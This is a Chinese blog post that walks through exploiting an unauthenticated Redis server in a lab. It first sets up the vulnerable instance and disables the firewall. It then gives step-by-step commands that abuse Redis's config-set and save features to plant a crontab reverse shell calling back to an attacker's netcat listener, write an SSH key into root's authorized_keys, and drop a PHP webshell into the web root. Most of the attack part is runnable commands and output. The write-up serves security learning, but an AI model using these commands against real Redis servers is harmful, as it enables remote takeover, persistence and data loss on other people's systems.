redis 非授权访问

作者: hxf981224 分类: 未分类 发布时间: 2019-10-05 23:16


漏洞介绍

漏洞成因

redis在配置文件时,将其保护模式关闭会导致必须认证可登录

 vim redis.conf
 #bind 127.0.0.1
 protected-mode no

危害

  • 可导致敏感信息泄露
  • 可以执行flushall 清空数据
  • 可以通过eval执行lua代码
  • 可以通过数据备份功能写如后门文件
  • 若redis以root权限运行,可以想root账户写入ssh公钥文件,直接通过ssh登录受害服务器

配置环境

安装redis

 wget http://download.redis.io/releases/redis-3.2.0.tar.gz
 tar xzf redis-3.2.0.tar.gz
 cd redis-3.2.0
 make

讲src目录下的redis-server和Redis-cli拷贝到/usr/bin/目录下(这样启动Redis-server和Redis-cli就不用每次都进入安装目录了)

修改配置文件

vim redis.conf

bind 127.0.0.1 允许远程连接

protected-mode no关闭保护模式

启动redis

 在src目录下
 ./redis-server ../redis.conf

关闭防火墙

 service iptables stop
 systemctl stop firewalld

在攻击机上安装redis-cli 客户端

 apt-get -y install redis-tools

远程连接redis数据库

在实验中我们使用默认端口6379,以及空密码

 在redis目录下
 redis-cli -h ip
 ​
 redis-cli -h指定ip -p 指定端口 -a 指定密码
 192.168.41.92:6379> info //查看redis信息
 192.168.41.92:6379> flushall//删除redis数据库
 192.168.41.92:6379> set x "test"//设置x的值为test
 192.168.41.92:6379>KEYS * //查看所有建
 192.168.41.92:6379> save //保存数据库内容到文件->该命令将在dir目录下创建dbfilename文件,默认在redis安装目录现创建dump.rdb文件

监听端口

 nc -lvnp 1234

写入crontab

 root@kali:~# redis-cli -h 192.168.41.92
 ok
 192.168.41.92:6379> set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.41.89/1234 0>&1\n"
 OK
 192.168.41.92:6379> config set dir /var/spool/cron/
 OK
 192.168.41.92:6379> config set dbfilename root
 OK
 192.168.41.92:6379> save
 OK

查看下crontab内容:

 crontab -l

增加了crontab任务后,在/var/spool/cron目录下会有一个当前登录账号命名的文件。比如我的登录账号是root。则会存在一个root文件。该文件的内容就是刚添加的crontab任务。

查看 cat /var/spool/cron/root

删除定时任务:

  sed -i '/test2.sh/d' /var/spool/cron/root 

删除crontab内容空白行

在执行完上面的sed -i的命令后,crontab -l会发现多出一行空白,如果你觉得看的别扭,你可再通过如下sed命令把空白行删除掉。

  sed -i '/^$/d' /var/spool/cron/root

想靶机中写入公钥

 root@kali:~# mkdir .ssh
 root@kali:~#cd .ssh/
 root@kali:~/ .ssh# ssh-keygen -t rsa
 root@kali:~/.ssh# cat id_rsa.pub
 root@kali:~# redis-cli -h 192.168.41.92
 192.168.41.92:6379>config set dir /root/.ssh
 ok
 192.168.41.92:6379>config set dbfilename authorized_keys
 ok
 192.168.41.92:6379>set x "\n\n\n秘钥\n\n\n"
 ok
 192.168.41.92:6379>save
 ok

使用ssh私钥登录

 root@kali:~/.ssh#ssh root@192.168.41.92 -i id_rsa 

想web目录写入webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写入权限时,往往可以尝试往web路径写webshell

写入webshell

其中webshell目录视情况而定

 root@kali:~# redis-cli -h 192.168.41.92
 192.168.41.92:6379> set x "<?php phpinfo()?>"
 ok
 192.168.41.92:6379>config set dir /var/www/html/
 ok
 192.168.41.92:6379>config set dbfilename shell.php
 ok
 192.168.41.92:6379>save
 ok

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云